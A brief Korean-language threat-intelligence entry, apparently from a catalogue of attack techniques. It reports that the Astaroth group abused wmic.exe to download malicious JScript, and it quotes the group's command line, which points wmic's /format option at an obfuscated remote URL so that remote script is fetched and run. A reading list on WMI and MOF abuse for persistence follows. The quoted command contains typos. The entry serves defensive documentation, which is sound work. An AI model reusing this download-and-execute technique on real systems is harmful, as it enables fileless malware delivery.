Astaroth: Astaroth 공격 그룹은 원격지로부터 악성 JScript를 다운로드하는데에 wmic.exe를 활용했습니다.
cmd.exe /k strart /MIC wmic.exe os get /format:"http://[obfuscatedURL] && exit %systemroot%\system32\imageres.dll
참고
- Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor
- WHAT YOU NEED TO KNOW ABOUT WMI ATTACKS
- An intro into abusing and identifying WMI event Subscriptions for persistence
- WINDOWS MANAGEMENT INSTRUMENTATION(WMI) OFFENSE, DEFENSE, AND FORENSICS
- Windows Userland Persistence Fundamentals
- MOF-tactic tricks or how to use MOF and powershell together
- Playing with MOF files on Windows, for fun & profit
- Operation Cobalt Kitty